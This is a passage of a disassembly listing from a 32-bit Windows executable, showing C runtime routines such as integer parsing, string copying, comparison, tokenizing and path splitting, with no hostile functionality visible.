; ---------------------------------------------------------------------------
loc_41C347: ; CODE XREF: sub_41C2E0+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp loc_41C996
; ---------------------------------------------------------------------------
loc_41C353: ; CODE XREF: sub_41C2E0+49j
; sub_41C2E0+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C35A: ; CODE XREF: sub_41C2E0+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_41C2E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C360 proc near ; CODE XREF: ___:0040133Bp
; sub_401ACD+1C15p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_14], 42h
mov [ebp+var_1C], eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_8]
push eax
call sub_41FF3F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41C39F
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41C3AC
; ---------------------------------------------------------------------------
loc_41C39F: ; CODE XREF: sub_41C360+35j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41FE2A
pop ecx
pop ecx
loc_41C3AC: ; CODE XREF: sub_41C360+3Dj
mov eax, esi
pop esi
leave
retn
sub_41C360 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C3B1 proc near ; CODE XREF: ___:00401318p
; sub_401ACD+2177p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push ebx
call sub_41B9C0
cmp eax, 1
pop ecx
jb short loc_41C3EC
cmp byte ptr [ebx+1], 3Ah
jnz short loc_41C3EC
mov esi, [ebp+arg_4]
test esi, esi
jz short loc_41C3E8
push 2
push ebx
push esi
call sub_420B29
add esp, 0Ch
and byte ptr [esi+2], 0
loc_41C3E8: ; CODE XREF: sub_41C3B1+25j
inc ebx
inc ebx
jmp short loc_41C3F6
; ---------------------------------------------------------------------------
loc_41C3EC: ; CODE XREF: sub_41C3B1+18j
; sub_41C3B1+1Ej
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41C3F6
and byte ptr [eax], 0
loc_41C3F6: ; CODE XREF: sub_41C3B1+39j
; sub_41C3B1+40j
and [ebp+arg_4], 0
cmp byte ptr [ebx], 0
mov eax, ebx
mov esi, 0FFh
mov [ebp+arg_0], eax
jz short loc_41C46E
loc_41C409: ; CODE XREF: sub_41C3B1+87j
mov cl, [eax]
movzx edx, cl
test byte_4DD261[edx], 4
jz short loc_41C41A
inc eax
jmp short loc_41C434
; ---------------------------------------------------------------------------
loc_41C41A: ; CODE XREF: sub_41C3B1+64j
cmp cl, 2Fh
jz short loc_41C42E
cmp cl, 5Ch
jz short loc_41C42E
cmp cl, 2Eh
jnz short loc_41C434
mov [ebp+var_4], eax
jmp short loc_41C434
; ---------------------------------------------------------------------------
loc_41C42E: ; CODE XREF: sub_41C3B1+6Cj
; sub_41C3B1+71j
lea ecx, [eax+1]
mov [ebp+arg_4], ecx
loc_41C434: ; CODE XREF: sub_41C3B1+67j
; sub_41C3B1+76j ...
inc eax
cmp byte ptr [eax], 0
jnz short loc_41C409
mov edi, [ebp+arg_4]
mov [ebp+arg_0], eax
test edi, edi
jz short loc_41C46E
cmp [ebp+arg_8], 0
jz short loc_41C469
sub edi, ebx
cmp edi, esi
jb short loc_41C452
mov edi, esi
loc_41C452: ; CODE XREF: sub_41C3B1+9Dj
push edi
push ebx
push [ebp+arg_8]
call sub_420B29
mov eax, [ebp+arg_8]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_41C469: ; CODE XREF: sub_41C3B1+97j
mov ebx, [ebp+arg_4]
jmp short loc_41C478
; ---------------------------------------------------------------------------
loc_41C46E: ; CODE XREF: sub_41C3B1+56j
; sub_41C3B1+91j
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_41C478
and byte ptr [ecx], 0
loc_41C478: ; CODE XREF: sub_41C3B1+BBj
; sub_41C3B1+C2j
mov edi, [ebp+var_4]
test edi, edi
jz short loc_41C4CB
cmp edi, ebx
jb short loc_41C4CB
cmp [ebp+arg_C], 0
jz short loc_41C4A8
sub edi, ebx
cmp edi, esi
jb short loc_41C491
mov edi, esi
loc_41C491: ; CODE XREF: sub_41C3B1+DCj
push edi
push ebx
push [ebp+arg_C]
call sub_420B29
mov eax, [ebp+arg_C]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_41C4A8: ; CODE XREF: sub_41C3B1+D6j
mov edi, [ebp+arg_10]
test edi, edi
jz short loc_41C4F3
sub eax, [ebp+var_4]
cmp eax, esi
jnb short loc_41C4B8
mov esi, eax
loc_41C4B8: ; CODE XREF: sub_41C3B1+103j
push esi
push [ebp+var_4]
push edi
call sub_420B29
add esp, 0Ch
and byte ptr [esi+edi], 0
jmp short loc_41C4F3
; ---------------------------------------------------------------------------
loc_41C4CB: ; CODE XREF: sub_41C3B1+CCj
; sub_41C3B1+D0j
mov edi, [ebp+arg_C]
test edi, edi
jz short loc_41C4E9
sub eax, ebx
cmp eax, esi
jnb short loc_41C4DA
mov esi, eax
loc_41C4DA: ; CODE XREF: sub_41C3B1+125j
push esi
push ebx
push edi
call sub_420B29
add esp, 0Ch
and byte ptr [esi+edi], 0
loc_41C4E9: ; CODE XREF: sub_41C3B1+11Fj
mov eax, [ebp+arg_10]
test eax, eax
jz short loc_41C4F3
and byte ptr [eax], 0
loc_41C4F3: ; CODE XREF: sub_41C3B1+FCj
; sub_41C3B1+118j ...
pop edi
pop esi
pop ebx
leave
retn
sub_41C3B1 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C500 proc near ; CODE XREF: sub_401955+8p
; sub_401ACD+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_41C520
loc_41C50C: ; CODE XREF: sub_41C500+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_41C50C
loc_41C520: ; CODE XREF: sub_41C500+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_41C500 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C52F proc near ; CODE XREF: sub_401ACD+73F5p
; sub_401ACD+7424p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push ebx
mov ebx, [ebp+arg_0]
push edi
mov edi, ebx
jg short loc_41C543
xor eax, eax
jmp short loc_41C579
; ---------------------------------------------------------------------------
loc_41C543: ; CODE XREF: sub_41C52F+Ej
dec [ebp+arg_4]
push esi
jz short loc_41C573
mov esi, [ebp+arg_8]
loc_41C54C: ; CODE XREF: sub_41C52F+42j
dec dword ptr [esi+4]
js short loc_41C55B
mov ecx, [esi]
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
jmp short loc_41C562
; ---------------------------------------------------------------------------
loc_41C55B: ; CODE XREF: sub_41C52F+20j
push esi
call sub_41F8E3
pop ecx
loc_41C562: ; CODE XREF: sub_41C52F+2Aj
cmp eax, 0FFFFFFFFh
jz short loc_41C57D
mov [edi], al
inc edi
cmp al, 0Ah
jz short loc_41C573
dec [ebp+arg_4]
jnz short loc_41C54C
loc_41C573: ; CODE XREF: sub_41C52F+18j
; sub_41C52F+3Dj ...
and byte ptr [edi], 0
loc_41C576: ; CODE XREF: sub_41C52F+55j
mov eax, ebx
pop esi
loc_41C579: ; CODE XREF: sub_41C52F+12j
pop edi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41C57D: ; CODE XREF: sub_41C52F+36j
cmp edi, [ebp+arg_0]
jnz short loc_41C573
xor ebx, ebx
jmp short loc_41C576
sub_41C52F endp
; =============== S U B R O U T I N E =======================================
sub_41C586 proc near ; CODE XREF: ___:0041E645p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41C59D
add esp, 10h
retn
sub_41C586 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C59D proc near ; CODE XREF: sub_41C586+Ep
; sub_41C7A5+Ep
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
and [ebp+var_8], 0
push esi
push edi
mov edi, [ebp+arg_0]
mov bl, [edi]
lea esi, [edi+1]
mov [ebp+var_4], esi
loc_41C5B5: ; CODE XREF: sub_41C59D+46j
cmp dword_43D084, 1
jle short loc_41C5CD
movzx eax, bl
push 8
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_41C5DC
; ---------------------------------------------------------------------------
loc_41C5CD: ; CODE XREF: sub_41C59D+1Fj
mov ecx, off_43CE78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 8
loc_41C5DC: ; CODE XREF: sub_41C59D+2Ej
test eax, eax
jz short loc_41C5E5
mov bl, [esi]
inc esi
jmp short loc_41C5B5
; ---------------------------------------------------------------------------
loc_41C5E5: ; CODE XREF: sub_41C59D+41j
cmp bl, 2Dh
mov [ebp+var_4], esi
jnz short loc_41C5F3
or [ebp+arg_C], 2
jmp short loc_41C5F8
; ---------------------------------------------------------------------------
loc_41C5F3: ; CODE XREF: sub_41C59D+4Ej
cmp bl, 2Bh
jnz short loc_41C5FE
loc_41C5F8: ; CODE XREF: sub_41C59D+54j
mov bl, [esi]
inc esi
mov [ebp+var_4], esi
loc_41C5FE: ; CODE XREF: sub_41C59D+59j
mov eax, [ebp+arg_8]
test eax, eax
jl loc_41C795
cmp eax, 1
jz loc_41C795
cmp eax, 24h
jg loc_41C795
push 10h
test eax, eax
pop ecx
jnz short loc_41C646
cmp bl, 30h
jz short loc_41C630
mov [ebp+arg_8], 0Ah
jmp short loc_41C662
; ---------------------------------------------------------------------------
loc_41C630: ; CODE XREF: sub_41C59D+88j
mov al, [esi]
cmp al, 78h
jz short loc_41C643
cmp al, 58h
jz short loc_41C643
mov [ebp+arg_8], 8
jmp short loc_41C662
; ---------------------------------------------------------------------------
loc_41C643: ; CODE XREF: sub_41C59D+97j
; sub_41C59D+9Bj
mov [ebp+arg_8], ecx
loc_41C646: ; CODE XREF: sub_41C59D+83j
cmp [ebp+arg_8], ecx
jnz short loc_41C662
cmp bl, 30h
jnz short loc_41C662
mov al, [esi]
cmp al, 78h
jz short loc_41C65A
cmp al, 58h
jnz short loc_41C662
loc_41C65A: ; CODE XREF: sub_41C59D+B7j
mov bl, [esi+1]
inc esi
inc esi
mov [ebp+var_4], esi
loc_41C662: ; CODE XREF: sub_41C59D+91j
; sub_41C59D+A4j ...
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
mov edi, 103h
mov [ebp+var_C], eax
loc_41C672: ; CODE XREF: sub_41C59D+16Cj
cmp dword_43D084, 1
movzx esi, bl
jle short loc_41C68A
push 4
push esi
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_41C695
; ---------------------------------------------------------------------------
loc_41C68A: ; CODE XREF: sub_41C59D+DFj
mov eax, off_43CE78
mov al, [eax+esi*2]
and eax, 4
loc_41C695: ; CODE XREF: sub_41C59D+EBj
test eax, eax
jz short loc_41C6A1
movsx ecx, bl
sub ecx, 30h
jmp short loc_41C6D3
; ---------------------------------------------------------------------------
loc_41C6A1: ; CODE XREF: sub_41C59D+FAj
cmp dword_43D084, 1
jle short loc_41C6B5
push edi
push esi
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_41C6C0
; ---------------------------------------------------------------------------
loc_41C6B5: ; CODE XREF: sub_41C59D+10Bj
mov eax, off_43CE78
mov ax, [eax+esi*2]
and eax, edi
loc_41C6C0: ; CODE XREF: sub_41C59D+116j
test eax, eax
jz short loc_41C70E
movsx eax, bl
push eax
call sub_420BB3
pop ecx
mov ecx, eax
sub ecx, 37h
loc_41C6D3: ; CODE XREF: sub_41C59D+102j
cmp ecx, [ebp+arg_8]
jnb short loc_41C70E
mov esi, [ebp+var_8]
or [ebp+arg_C], 8
cmp esi, [ebp+var_C]
jb short loc_41C6F8
jnz short loc_41C6F2
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
cmp ecx, edx
jbe short loc_41C6F8
loc_41C6F2: ; CODE XREF: sub_41C59D+147j
or [ebp+arg_C], 4
jmp short loc_41C701
; ---------------------------------------------------------------------------
loc_41C6F8: ; CODE XREF: sub_41C59D+145j
; sub_41C59D+153j
imul esi, [ebp+arg_8]
add esi, ecx
mov [ebp+var_8], esi
loc_41C701: ; CODE XREF: sub_41C59D+159j
mov eax, [ebp+var_4]
inc [ebp+var_4]
mov bl, [eax]
jmp loc_41C672
; ---------------------------------------------------------------------------
loc_41C70E: ; CODE XREF: sub_41C59D+125j
; sub_41C59D+139j
mov ecx, [ebp+arg_C]
dec [ebp+var_4]
mov edx, [ebp+arg_4]
test cl, 8
jnz short loc_41C72C
test edx, edx
jz short loc_41C726
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_41C726: ; CODE XREF: sub_41C59D+181j
and [ebp+var_8], 0
jmp short loc_41C779
; ---------------------------------------------------------------------------
loc_41C72C: ; CODE XREF: sub_41C59D+17Dj
test cl, 4
mov eax, 7FFFFFFFh
jnz short loc_41C752
test cl, 1
jnz short loc_41C779
and ecx, 2
jz short loc_41C749
cmp [ebp+var_8], 80000000h
ja short loc_41C752
loc_41C749: ; CODE XREF: sub_41C59D+1A1j
test ecx, ecx
jnz short loc_41C779
cmp [ebp+var_8], eax
jbe short loc_41C779
loc_41C752: ; CODE XREF: sub_41C59D+197j
; sub_41C59D+1AAj
test byte ptr [ebp+arg_C], 1
mov dword_4DBDDC, 22h
jz short loc_41C768
or [ebp+var_8], 0FFFFFFFFh
jmp short loc_41C779
; ---------------------------------------------------------------------------
loc_41C768: ; CODE XREF: sub_41C59D+1C3j
mov ecx, [ebp+arg_C]
and cl, 2
neg cl
sbb ecx, ecx
neg ecx
add ecx, eax
mov [ebp+var_8], ecx
loc_41C779: ; CODE XREF: sub_41C59D+18Dj
; sub_41C59D+19Cj ...
test edx, edx
jz short loc_41C782
mov eax, [ebp+var_4]
mov [edx], eax
loc_41C782: ; CODE XREF: sub_41C59D+1DEj
test byte ptr [ebp+arg_C], 2
jz short loc_41C790
mov eax, [ebp+var_8]
neg eax
mov [ebp+var_8], eax
loc_41C790: ; CODE XREF: sub_41C59D+1E9j
mov eax, [ebp+var_8]
jmp short loc_41C7A0
; ---------------------------------------------------------------------------
loc_41C795: ; CODE XREF: sub_41C59D+66j
; sub_41C59D+6Fj ...
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41C79E
mov [eax], edi
loc_41C79E: ; CODE XREF: sub_41C59D+1FDj
xor eax, eax
loc_41C7A0: ; CODE XREF: sub_41C59D+1F6j
pop edi
pop esi
pop ebx
leave
retn
sub_41C59D endp
; =============== S U B R O U T I N E =======================================
sub_41C7A5 proc near ; CODE XREF: sub_401ACD+60F0p
; sub_401ACD+6931p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41C59D
add esp, 10h
retn
sub_41C7A5 endp
; =============== S U B R O U T I N E =======================================
sub_41C7BC proc near ; CODE XREF: sub_401ACD+58ADp
arg_0 = dword ptr 4
push [esp+arg_0]
nop
call near ptr 26901EBh
test eax, eax
jnz short loc_41C7D2
call near ptr 269086Bh
nop
jmp short loc_41C7D4
; ---------------------------------------------------------------------------
loc_41C7D2: ; CODE XREF: sub_41C7BC+Cj
xor eax, eax
loc_41C7D4: ; CODE XREF: sub_41C7BC+14j
test eax, eax
jz short loc_41C7E3
push eax
call sub_420C7F
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41C7E3: ; CODE XREF: sub_41C7BC+1Aj
xor eax, eax
retn
sub_41C7BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C7E6 proc near ; CODE XREF: sub_401ACD+5801p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push esi
push edi
push [ebp+arg_0]
call sub_420CE6
mov esi, eax
lea eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41FF3F
push [ebp+arg_0]
mov edi, eax
push esi
call sub_420D73
add esp, 18h
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_41C7E6 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C820 proc near ; CODE XREF: sub_401ACD+1E1Fp
; sub_401ACD+1E3Ep ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
inc ecx
neg ecx
dec edi
mov al, [ebp+arg_4]
std
repne scasb
inc edi
cmp [edi], al
jz short loc_41C841
xor eax, eax
jmp short loc_41C843
; ---------------------------------------------------------------------------
loc_41C841: ; CODE XREF: sub_41C820+1Bj
mov eax, edi
loc_41C843: ; CODE XREF: sub_41C820+1Fj
cld
pop edi
leave
retn
sub_41C820 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C850 proc near ; CODE XREF: sub_401ACD+854p
; ___:0041E5BDp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_41C881
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_41C87F
jz short loc_41C881
dec ecx
dec ecx
loc_41C87F: ; CODE XREF: sub_41C850+29j
not ecx
loc_41C881: ; CODE XREF: sub_41C850+9j
; sub_41C850+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_41C850 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C890 proc near ; CODE XREF: sub_401ACD+42Dp
; sub_401ACD+2FB3p ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_41C901
sub_41C890 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C8A0 proc near ; CODE XREF: sub_401ACD+436p
; sub_401ACD+746Fp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_41C8BC
loc_41C8AD: ; CODE XREF: sub_41C8A0+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_41C8EF
test ecx, 3
jnz short loc_41C8AD
loc_41C8BC: ; CODE XREF: sub_41C8A0+Bj
; sub_41C8A0+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41C8BC
mov eax, [ecx-4]
test al, al
jz short loc_41C8FE
test ah, ah
jz short loc_41C8F9
test eax, 0FF0000h
jz short loc_41C8F4
test eax, 0FF000000h
jz short loc_41C8EF
jmp short loc_41C8BC
; ---------------------------------------------------------------------------
loc_41C8EF: ; CODE XREF: sub_41C8A0+12j
; sub_41C8A0+4Bj
lea edi, [ecx-1]
jmp short loc_41C901
; ---------------------------------------------------------------------------
loc_41C8F4: ; CODE XREF: sub_41C8A0+44j
lea edi, [ecx-2]
jmp short loc_41C901
; ---------------------------------------------------------------------------
loc_41C8F9: ; CODE XREF: sub_41C8A0+3Dj
lea edi, [ecx-3]
jmp short loc_41C901
; ---------------------------------------------------------------------------
loc_41C8FE: ; CODE XREF: sub_41C8A0+39j
lea edi, [ecx-4]
loc_41C901: ; CODE XREF: sub_41C890+5j
; sub_41C8A0+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_41C926
loc_41C90D: ; CODE XREF: sub_41C8A0+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_41C978
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_41C90D
jmp short loc_41C926
; ---------------------------------------------------------------------------
loc_41C921: ; CODE XREF: sub_41C8A0+9Ej
; sub_41C8A0+B8j
mov [edi], edx
add edi, 4
loc_41C926: ; CODE XREF: sub_41C8A0+6Bj
; sub_41C8A0+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_41C921
test dl, dl
jz short loc_41C978
test dh, dh
jz short loc_41C96F
test edx, 0FF0000h
jz short loc_41C962
test edx, 0FF000000h
jz short loc_41C95A
jmp short loc_41C921
; ---------------------------------------------------------------------------
loc_41C95A: ; CODE XREF: sub_41C8A0+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C962: ; CODE XREF: sub_41C8A0+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C96F: ; CODE XREF: sub_41C8A0+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C978: ; CODE XREF: sub_41C8A0+72j
; sub_41C8A0+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_41C8A0 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41C990
loc_41C980: ; CODE XREF: sub_41C990+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_41C990
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C990 proc near ; CODE XREF: sub_401ACD+412p
; sub_401ACD+4B9p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 0041C980 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
loc_41C996: ; CODE XREF: sub_41C2E0+6Ej
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_41C9BB
loc_41C9A8: ; CODE XREF: sub_41C990+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_41C980
test cl, cl
jz short loc_41CA04
test edx, 3
jnz short loc_41C9A8
loc_41C9BB: ; CODE XREF: sub_41C990+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_41C9C6: ; CODE XREF: sub_41C990+61j
; sub_41C990+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_41CA08
and eax, 81010100h
jz short loc_41C9C6
and eax, 1010100h
jnz short loc_41CA02
and esi, 80000000h
jnz short loc_41C9C6
loc_41CA02: ; CODE XREF: sub_41C990+68j
; sub_41C990+81j ...
pop esi
pop edi
loc_41CA04: ; CODE XREF: sub_41C990+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41CA08: ; CODE XREF: sub_41C990+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_41CA45
test al, al
jz short loc_41CA02
cmp ah, bl
jz short loc_41CA3E
test ah, ah
jz short loc_41CA02
shr eax, 10h
cmp al, bl
jz short loc_41CA37
test al, al
jz short loc_41CA02
cmp ah, bl
jz short loc_41CA30
test ah, ah
jz short loc_41CA02
jmp short loc_41C9C6
; ---------------------------------------------------------------------------
loc_41CA30: ; CODE XREF: sub_41C990+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41CA37: ; CODE XREF: sub_41C990+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41CA3E: ; CODE XREF: sub_41C990+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41CA45: ; CODE XREF: sub_41C990+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_41C990 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41CA50 proc near ; CODE XREF: sub_401ACD+1AEp
; sub_401ACD+205p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_41CA9C
loc_41CA60: ; CODE XREF: sub_41CA50+3Cj
; sub_41CA50+66j ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_41CA94
or al, al
jz short loc_41CA90
cmp ah, [ecx+1]
jnz short loc_41CA94
or ah, ah
jz short loc_41CA90
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_41CA94
or al, al
jz short loc_41CA90
cmp ah, [ecx+3]
jnz short loc_41CA94
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_41CA60
mov edi, edi
loc_41CA90: ; CODE XREF: sub_41CA50+18j
; sub_41CA50+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41CA94: ; CODE XREF: sub_41CA50+14j
; sub_41CA50+1Dj ...
sbb eax, eax
shl eax, 1
inc eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41CA9C: ; CODE XREF: sub_41CA50+Ej
test edx, 1
jz short loc_41CAB8
mov al, [edx]
inc edx
cmp al, [ecx]
jnz short loc_41CA94
inc ecx
or al, al
jz short loc_41CA90
test edx, 2
jz short loc_41CA60
loc_41CAB8: ; CODE XREF: sub_41CA50+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_41CA94
or al, al
jz short loc_41CA90
cmp ah, [ecx+1]
jnz short loc_41CA94
or ah, ah
jz short loc_41CA90
add ecx, 2
jmp short loc_41CA60
sub_41CA50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CAD4 proc near ; CODE XREF: sub_401ACD+B5p
; sub_401ACD+D5p ...
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
push 8
xor eax, eax
pop ecx
lea edi, [ebp+var_20]
rep stosd
push 7
pop edi
loc_41CAED: ; CODE XREF: sub_41CAD4+32j
mov dl, [esi]
mov bl, 1
movzx ecx, dl
mov eax, ecx
and ecx, edi
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_20]
or [eax], bl
inc esi
test dl, dl
jnz short loc_41CAED
mov edx, [ebp+arg_0]
test edx, edx
jnz short loc_41CB15
mov edx, dword_4DBE28
loc_41CB15: ; CODE XREF: sub_41CAD4+39j
; sub_41CAD4+5Fj
mov al, [edx]
push 1
movzx esi, al
mov ecx, esi
pop ebx
and ecx, edi
shl ebx, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test bl, cl
jz short loc_41CB35
test al, al
jz short loc_41CB35
inc edx
jmp short loc_41CB15
; ---------------------------------------------------------------------------
loc_41CB35: ; CODE XREF: sub_41CAD4+58j
; sub_41CAD4+5Cj
mov ebx, edx
loc_41CB37: ; CODE XREF: sub_41CAD4+81j
mov al, [edx]
test al, al
jz short loc_41CB5B
movzx esi, al
mov ecx, esi
push 1
and ecx, edi
pop eax
shl eax, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test al, cl
jnz short loc_41CB57
inc edx
jmp short loc_41CB37
; ---------------------------------------------------------------------------
loc_41CB57: ; CODE XREF: sub_41CAD4+7Ej
and byte ptr [edx], 0
inc edx
loc_41CB5B: ; CODE XREF: sub_41CAD4+67j
mov eax, ebx
pop edi
sub eax, edx
pop esi
neg eax
sbb eax, eax
mov dword_4DBE28, edx
and eax, ebx
pop ebx
leave
retn
sub_41CAD4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CB70 proc near ; CODE XREF: sub_409823+1Cp
; sub_415DAC+19p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
